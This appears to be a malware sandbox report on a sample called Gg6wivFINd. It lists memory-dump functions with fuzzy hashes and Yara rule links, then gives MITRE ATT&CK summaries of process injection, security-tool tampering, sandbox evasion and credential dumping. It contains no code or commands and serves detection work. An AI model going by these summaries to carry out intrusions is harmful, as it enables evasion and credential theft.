Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fda6b8c09c7aebff4dbca9f2d463775f29144a5ce384c3ad1777dc05952685b6
Instruction ID: 578e8b6c7118e51ab5e46a2ae4000e2d90bea90bd721c9d0bfae2da03b6b6000
Opcode Fuzzy Hash: fda6b8c09c7aebff4dbca9f2d463775f29144a5ce384c3ad1777dc05952685b6
Instruction Fuzzy Hash: A6210620B1D95E0FEB58F7AC946E6797BD6EF9C311B4100BAE40DC32E7DD24AD428281

Function 00007FFD9B890C25 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eed9ff2327e4a1e08fe4237ea8205f1562410fd9696f8326e9aa3767f44f7b2b
Instruction ID: 52d2883beafdf44a183a3783a2b26a1d5a71067cc55ee6e14b04367d88d35487
Opcode Fuzzy Hash: eed9ff2327e4a1e08fe4237ea8205f1562410fd9696f8326e9aa3767f44f7b2b
Instruction Fuzzy Hash: A1213A36B1E25D8FEB22A7E89C250EC7F60EF46328F0641F3D0588B1D3D93826469781

Function 00007FFD9B89108D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d34d4ec7051afad6187684ae600787f28eea73fd44bf5d87b2faae704b9c759
Instruction ID: e592841c0e7e13d0fc044e6b975a5ba2869686cc14436896b6bd85efb6bbc033
Opcode Fuzzy Hash: 2d34d4ec7051afad6187684ae600787f28eea73fd44bf5d87b2faae704b9c759
Instruction Fuzzy Hash: 94012B21A8F6D51FFB2957B14C729A13FA1DF8721070A02FAD089CB5E3C84E59868351

Function 00007FFD9B894254 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: caa2aa7ce7c826dd0b0de4ec18714e25b80e27b12959c01f5e4a03901a75a059
Instruction ID: e5854eace1d49686811e5509763a36908229fb77eaf76d3047bcef09e9221f82
Opcode Fuzzy Hash: caa2aa7ce7c826dd0b0de4ec18714e25b80e27b12959c01f5e4a03901a75a059
Instruction Fuzzy Hash: 21119731A0992D8FDFB4DB98C464BA977E1FB59311F1501A9C40EE72A0CB74AE80CF81

Function 00007FFD9B890C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c29255a44cb566b28e77848c34171801df992807625fc69dcba1f87b60d44497
Instruction ID: cfc01042c5e825a8974f47352079b9fe840791a3d94d0a7871e84227190a7fb6
Opcode Fuzzy Hash: c29255a44cb566b28e77848c34171801df992807625fc69dcba1f87b60d44497
Instruction Fuzzy Hash: 0E11C232F1E68D8FEB22DBA8886519C7FB0EF56714F0640F7C094DB2A2D93827458780

Function 00007FFD9B890C40 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cd2cb45f8edcf4dc1bf985153ed48531ddaac0f26ee807a7ebf7cfd74fd4066
Instruction ID: d7b2304078ea3e59bc6dae2757138916a7c642c771ecd2a7048b534ab400cd66
Opcode Fuzzy Hash: 5cd2cb45f8edcf4dc1bf985153ed48531ddaac0f26ee807a7ebf7cfd74fd4066
Instruction Fuzzy Hash: 4C11A132F1E68D8FEB12DBA8886419C7FB0EF56714F0640F7D094DB2A2D93826458780

Function 00007FFD9B894299 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3377ec23d282bf2e5e693a66bb64350c61016621a1fff28608ce2e4471c461a
Instruction ID: 6f7375ac0bb4ca4c0202b156d76c783642c802f4d01011d4ae0fdc419a7a6ed1
Opcode Fuzzy Hash: f3377ec23d282bf2e5e693a66bb64350c61016621a1fff28608ce2e4471c461a
Instruction Fuzzy Hash: 3811EC30A0891D8FDF64DF44C4A4BA9B7E2FB59301F5505A9D00ED7290CA74AE80CF81

Function 00007FFD9B890C48 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aec2c473823562d23cef763009eb2263cc5c6543ddd82d1eed50bde3b075fb0c
Instruction ID: 5da780a43f6598000b4176181b10e83fbfb731f1550e8135baa170c3143a0476
Opcode Fuzzy Hash: aec2c473823562d23cef763009eb2263cc5c6543ddd82d1eed50bde3b075fb0c
Instruction Fuzzy Hash: 8D018031E1E28DCFEB16DBA4886409C7FB0EF56714F1641F7D094DB2A2D9386A458780

Function 00007FFD9B8B6905 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2edda5626f35ade09b4e98b9a71ab3f30bc25860acd718fc334f4a5b5d7e52cd
Instruction ID: fba5e9afb188246a02277e889b6fcf61f2762450a2bb672d3afcb91888e2dbb3
Opcode Fuzzy Hash: 2edda5626f35ade09b4e98b9a71ab3f30bc25860acd718fc334f4a5b5d7e52cd
Instruction Fuzzy Hash: 0CF0BB71A0FA9A1FE32697794870568BBA0EF55710F090277C059C72E3ED5CEB4683C5

Function 00007FFD9B8BFAD5 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72e45bc2c9afda03a40922e0e485ec3ebbdf6d9a2f5f765377e3af098bda2339
Instruction ID: 69246244bebfc760ee50494d8debd6dd4b88955217a6b2f26a329f931d57a30e
Opcode Fuzzy Hash: 72e45bc2c9afda03a40922e0e485ec3ebbdf6d9a2f5f765377e3af098bda2339
Instruction Fuzzy Hash: 92F05C62A0D78A0FD356873C58951247BD1EB6922078A03E7D04CC7163DC0C0D42C340

Function 00007FFD9B890C50 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57adc786d10381386ed90839c48a28bf2bb190245ea6eb1f9dda843a3bb2b0ce
Instruction ID: d84e6e82d1490869b9857fd50e91ff37b80a278d3db282a0a6479b4f5da4a2c1
Opcode Fuzzy Hash: 57adc786d10381386ed90839c48a28bf2bb190245ea6eb1f9dda843a3bb2b0ce
Instruction Fuzzy Hash: 49015A31E1E28DCEEB26DBA4886409D7FB0EF1A704F1641E7D094CB2A6D9386A448781

Function 00007FFD9B8BD369 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd9054242521eb15ef6614f25359e7cb5a8dd52e3dc5994879f13f5b0572ecaf
Instruction ID: cad85abf78e273cb31b3341801917a7afb0c176429d067397a85c808069ee70b
Opcode Fuzzy Hash: bd9054242521eb15ef6614f25359e7cb5a8dd52e3dc5994879f13f5b0572ecaf
Instruction Fuzzy Hash: 43F0A06190F7C41FD3125B3888654107FB0EA2710530B02EBC0CACB4B3D50A488B8301

Function 00007FFD9B890B87 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 834a1dfa0f388783112b633103ef701c3d59fe160c669daa9bba5450e65e5ea0
Instruction ID: b39af2ce5e765fc5b5000cb6c072cb2453626f388ac6ea90e7e433a26d719fa9
Opcode Fuzzy Hash: 834a1dfa0f388783112b633103ef701c3d59fe160c669daa9bba5450e65e5ea0
Instruction Fuzzy Hash: 10E07D3131955D8FCA01EB7CDC154A53F90EF8B21578B10F6D008C7462C110584E8B00

Function 00007FFD9B8910C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53f460c7e02674f7686b44d62b4d1a156b0acbb818de53a6b1d283c1915a397e
Instruction ID: bf5598540068cc87338c271ade745521bf00237f34eebfd9605578303a19e77b
Opcode Fuzzy Hash: 53f460c7e02674f7686b44d62b4d1a156b0acbb818de53a6b1d283c1915a397e
Instruction Fuzzy Hash: 78E02621F4C84906FB6CB67468B25F17281DB96320B0505B9D01AC26DADC091CC14281

Function 00007FFD9B8B6920 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a58a3c69d1572b8a2cb5992520a59f06962de7390e1ca9e27e647d947d37923c
Instruction ID: c7f59ca0b03e09a80785af33bd99c0c892f344578c6dc177d14bd1f3512cf83c
Opcode Fuzzy Hash: a58a3c69d1572b8a2cb5992520a59f06962de7390e1ca9e27e647d947d37923c
Instruction Fuzzy Hash: 2BE0CD3171A80E47E728F3388C646BD7251D799711F454235D01DC32E5ED28EA4143C4

Function 00007FFD9B894E94 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction ID: 9e3dc37430dbea83bf9735cad4decf7516bfd690b65a5bca3fc50122377b3c09
Opcode Fuzzy Hash: 16d5e3712ee38bd8e1488ed202a9ca28889ce299ebaba397316427e6f5c0225d
Instruction Fuzzy Hash: 45E0E571F0E21E57FFA5A388C860BEA6661EB9C300F1500B8D95E933D1CD38AE418B55

Function 00007FFD9B8B97E9 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8b3000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2717eb5932749c2a0f7fac8dee7986df6cda9e64e9a1d00c33da05cf2bbe5be
Instruction ID: f12fbc729e0a786d4033e8a88625c482b16e407e83cc18fe923db0efec5851ca
Opcode Fuzzy Hash: f2717eb5932749c2a0f7fac8dee7986df6cda9e64e9a1d00c33da05cf2bbe5be
Instruction Fuzzy Hash: B7E0E57054A3C04FCB06EB7488A9C543FA0EE6721078B41EEC089CB1B3D62D8949C711

Function 00007FFD9B896215 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d85b34486bfb6f99448a9e23100a23a2c6fb27615cd436b48e0d44c4e038281
Instruction ID: 5860e9a336a4e9bfa580c926057ba57b18f16150b48e3a7d9504cd90775abf54
Opcode Fuzzy Hash: 8d85b34486bfb6f99448a9e23100a23a2c6fb27615cd436b48e0d44c4e038281
Instruction Fuzzy Hash: 7BD05E20F1E56A1AF72BA794493193C2D939F89394F9508B5D44A8B1EBCC1C3B024382

Function 00007FFD9B8C7458 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction ID: ca72362a4d48ffe59a8c30462d56a3247b0c3dfa35eecb07bbd5aa8b2f5919c2
Opcode Fuzzy Hash: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction Fuzzy Hash: 66D01234BA19084FC71CBB388899C747391EB6E21679550A9D00AC73B5D96ADD89C741

Function 00007FFD9B895B53 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction ID: e5d0312d6633e039846a4669c730db2c0a2f3ac8638050b5c08b27fdcd1107be
Opcode Fuzzy Hash: c8b8a21f5ee1d3546d7080534df65bb5289e81e73368de96256e7c7185bc0a61
Instruction Fuzzy Hash: 88D06720F2A51D5FEBA4E76888693B866A1BF4C700F5141B5904DF36A2DD286E418B01

Function 00007FFD9B8C8808 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b8c1000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 475b730dd1053a7c01b95d4681299a8929e8dd4f567767fe40fb86e8d7148227
Instruction ID: 86d18b370266af48669abafcfcdd01c334d23510af1ddf13e7d428ad71a5a485
Opcode Fuzzy Hash: 475b730dd1053a7c01b95d4681299a8929e8dd4f567767fe40fb86e8d7148227
Instruction Fuzzy Hash: C2C0123051180C4F8708E725C45C8607290FB1921178100D5900AC6170E9559D84C741

Function 00007FFD9B8906A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6761f263b5a21a00e33e878eb25465b646c5550212e28e5888ccb0614218a693
Instruction ID: 54bcb275cae05ce4cefc1e6d452f27e05448fe6a51c1c735cce1f41f21f1f119
Opcode Fuzzy Hash: 6761f263b5a21a00e33e878eb25465b646c5550212e28e5888ccb0614218a693
Instruction Fuzzy Hash: CAC04C06F7B62F01FC3673EE98660ACA9415FDDE10FD70172D54C400E1AD4D22D50256

Function 00007FFD9B890708 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d8148a032bbe67190fb16b1de09c27c6ddf69f8f38fb73b98a6aa04bdf6b206
Instruction ID: c8119e59c80e2cf69048ef017b9f8f3610481a1f07a0a45b3b9af5fb43db9e63
Opcode Fuzzy Hash: 7d8148a032bbe67190fb16b1de09c27c6ddf69f8f38fb73b98a6aa04bdf6b206
Instruction Fuzzy Hash: 59C04C305218098FC954E769C8999547AA0FB4D205BD610D0E40DC7161E65AD9548B41

Function 00007FFD9B8961DA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5392dbb9dfb7e71f6c351aa7aed2f8da65c041ceeb102e52a53518d6c5c5da6c
Instruction ID: 733f5f03a68f1429765b7e211ce110cfaa61025e10323b2e735ac30a759c7fa2
Opcode Fuzzy Hash: 5392dbb9dfb7e71f6c351aa7aed2f8da65c041ceeb102e52a53518d6c5c5da6c
Instruction Fuzzy Hash: 1FC04C11F6D81A16F75A6654453157E48539F88798FD54074E01DC72CECD1C5B124287

Function 00007FFD9B8906C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2339903618.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9b890000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction ID: 20a0e8ea38b26b097e4b4dc69544e07252542b887743d3d39ef6fcd244df8182
Opcode Fuzzy Hash: 35f004e6fd10b8169937fb16e0b8a15bd8abceabc157f4af4f47b616af8cce4f
Instruction Fuzzy Hash: B6B01200D7741F00EC2433FB085206478405B8C500FC20070D80C40091E84D12940342

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
